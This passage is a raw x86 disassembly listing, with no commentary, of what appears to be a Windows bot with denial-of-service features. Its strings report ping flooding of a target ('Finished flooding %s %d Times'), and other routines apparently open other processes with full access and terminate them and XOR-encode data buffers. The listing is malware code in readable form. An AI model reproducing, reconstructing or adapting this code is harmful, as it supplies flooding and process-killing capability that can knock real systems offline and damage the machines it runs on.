		cmp	al, 0Ah
		jz	short loc_426806
		cmp	al, 0Dh
		jz	short loc_426806
		cmp	al, 5Ch
		jz	short loc_426806
		test	al, al
		jnz	short loc_42680C


loc_426806:				; CODE XREF: sub_4267D0+28j
					; sub_4267D0+2Cj ...
		add	ebx, 100h


loc_42680C:				; CODE XREF: sub_4267D0+1Fj
					; sub_4267D0+34j
		push	ebx
		call	sub_4017C6
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_426825
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426825:				; CODE XREF: sub_4267D0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_426830
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426830:				; CODE XREF: sub_4267D0+5Aj
		mov	al, byte_510114
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_426860


loc_426841:				; CODE XREF: sub_4267D0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_426857
		cmp	cl, 0Ah
		jz	short loc_426857
		cmp	cl, 0Dh
		jz	short loc_426857
		cmp	cl, 5Ch
		jnz	short loc_42685B


loc_426857:				; CODE XREF: sub_4267D0+76j
					; sub_4267D0+7Bj ...
		inc	al
		xor	edx, edx


loc_42685B:				; CODE XREF: sub_4267D0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_426841


loc_426860:				; CODE XREF: sub_4267D0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_510114, al
		ja	short loc_426893
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C44
		mov	edi, edx
		mov	byte_446C51, bl
		mov	byte_446C55, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4268B9
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_4267D0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C2C
		mov	edi, edx
		mov	word_446C3A, bx
		mov	byte_446C3F, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4268B9:				; CODE XREF: sub_4267D0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4268CF
		add	esi, edx


loc_4268C2:				; CODE XREF: sub_4267D0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4268C2


loc_4268CF:				; CODE XREF: sub_4267D0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4267D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426930	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_44B19F[eax*4], ecx
		mov	dword_44B18B[eax*4], ecx
		mov	dword_44B18F[eax*4], ecx
		mov	dword_44B193[eax*4], ecx
		mov	dword_44B197[eax*4], ecx
		mov	dword_44B19B[eax*4], ecx
		mov	byte_44AF8B[eax*4], cl
		mov	byte_44B1A3[eax*4], cl
		retn
sub_426930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_426A57
		cmp	ecx, 400h
		jge	loc_426A57
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_44B19F[esi*4]
		push	eax
		nop
		call	near ptr 2770969h
		cmp	dword_44B19F[esi*4], ebx
		jz	short loc_4269E8
		mov	ebp, 1


loc_4269E8:				; CODE XREF: sub_4269A0+41j
		mov	dword_44B19F[esi*4], ebx
		mov	dword_44B18B[esi*4], ebx
		mov	dword_44B18F[esi*4], ebx
		mov	eax, dword_44B193[esi*4]
		cmp	eax, ebx
		jbe	short loc_426A11
		push	eax
		call	sub_401C80
		add	esp, 4


loc_426A11:				; CODE XREF: sub_4269A0+66j
		mov	edi, dword_511C9C
		mov	dword_44B193[esi*4], ebx
		mov	byte_44AF8B[esi*4], bl
		mov	byte_44B1A3[esi*4], bl
		mov	ecx, dword_44B197[esi*4]
		push	ecx
		call	edi
		mov	dword_44B197[esi*4], ebx
		mov	edx, dword_44B19B[esi*4]
		lea	esi, ds:44B19Bh[esi*4]
		push	edx
		call	edi
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426A57:				; CODE XREF: sub_4269A0+Cj
					; sub_4269A0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A90	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_44B18F


loc_426AA1:				; CODE XREF: sub_426A90+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_426AD5
		test	ebx, ebx
		jle	short loc_426AC7
		cmp	[esi], ebx
		jz	short loc_426AB8
		cmp	edi, ebx
		jnz	short loc_426AD5


loc_426AB8:				; CODE XREF: sub_426A90+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5
		jmp	short loc_426AD4
; ---------------------------------------------------------------------------


loc_426AC7:				; CODE XREF: sub_426A90+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5


loc_426AD4:				; CODE XREF: sub_426A90+35j
		inc	ebp


loc_426AD5:				; CODE XREF: sub_426A90+1Aj
					; sub_426A90+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D818F
		jl	short loc_426AA1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_426A90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B10	proc near		; CODE XREF: sub_401C80j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 2700000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_426B45
		push	0
		push	esi
		call	near ptr 279024Fh
		nop
		test	eax, eax
		jnz	short loc_426B45
		push	esi
		xor	edi, edi
		nop
		call	near ptr 283094Ch


loc_426B45:				; CODE XREF: sub_426B10+1Dj
					; sub_426B10+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_426B10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B60	proc near		; CODE XREF: sub_40148Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B6B:				; CODE XREF: sub_426B60+1Cj
		cmp	[ecx], edx
		jnz	short loc_426B70
		inc	eax


loc_426B70:				; CODE XREF: sub_426B60+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B6B
		retn
sub_426B60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B90	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B9E:				; CODE XREF: sub_426B90+1Fj
		cmp	[ecx], edx
		jz	short loc_426BB3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B9E
		mov	eax, esi


loc_426BB3:				; CODE XREF: sub_426B90+10j
		pop	esi
		retn
sub_426B90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426BD0	proc near		; CODE XREF: sub_401BEAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_44AF8B


loc_426BD8:				; CODE XREF: sub_426BD0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_426BEE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D7F8B
		jl	short loc_426BD8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426BEE:				; CODE XREF: sub_426BD0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:44AF8Bh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_426BD0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426C70	proc near		; CODE XREF: sub_401613j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426C70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_426C70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426EC0:				; CODE XREF: ___:loc_401B81j
		push	0FFFFFFFFh
		push	offset loc_43C9D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_427058
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_426F2B
		mov	ecx, eax
		call	sub_401DF2
		mov	ebp, eax


loc_426F2B:				; CODE XREF: ___:00426F20j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FDC
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427058:				; CODE XREF: ___:00426F01j
		lea	ecx, [ebx+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4271CA
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_42709B
		mov	ecx, eax
		call	sub_401BDB
		mov	ebp, eax
		jmp	short loc_42709D
; ---------------------------------------------------------------------------


loc_42709B:				; CODE XREF: ___:0042708Ej
		xor	ebp, ebp


loc_42709D:				; CODE XREF: ___:00427099j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4271CA:				; CODE XREF: ___:0042706Dj
		lea	ecx, [ebx+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_427339
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_42720A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_42720C
; ---------------------------------------------------------------------------


loc_42720A:				; CODE XREF: ___:004271FDj
		xor	ebp, ebp


loc_42720C:				; CODE XREF: ___:00427208j
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427339:				; CODE XREF: ___:004271DCj
		lea	ecx, [ebx+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4274E4
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_427379
		mov	ecx, eax
		call	sub_40178F
		mov	ebp, eax
		jmp	short loc_42737B
; ---------------------------------------------------------------------------


loc_427379:				; CODE XREF: ___:0042736Cj
		xor	ebp, ebp


loc_42737B:				; CODE XREF: ___:00427377j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4274E4:				; CODE XREF: ___:0042734Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_427501
		mov	[ebx+11Ch], al


loc_427501:				; CODE XREF: ___:004274F9j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4276C0	proc near		; CODE XREF: sub_401A78j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_449A04
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4276E1
		inc	ecx
		mov	[eax+118h], ecx


loc_4276E1:				; CODE XREF: sub_4276C0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_4276C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427740	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F0DC
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427740	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277B0	proc near		; CODE XREF: sub_4011FEj ___:0040209Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4020AE
		test	[esp+4+arg_0], 1
		jz	short loc_4277C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4277C8:				; CODE XREF: sub_4277B0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4277B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4277E0	proc near		; CODE XREF: sub_4020AEj
		jmp	sub_4014CE
sub_4277E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427800	proc near		; CODE XREF: sub_401A50j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427800
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40183E
		add	esp, 10h
		test	eax, eax
		jz	short loc_4278C4
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_4278DE
; ---------------------------------------------------------------------------


loc_4278C4:				; CODE XREF: sub_427800+9Aj
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


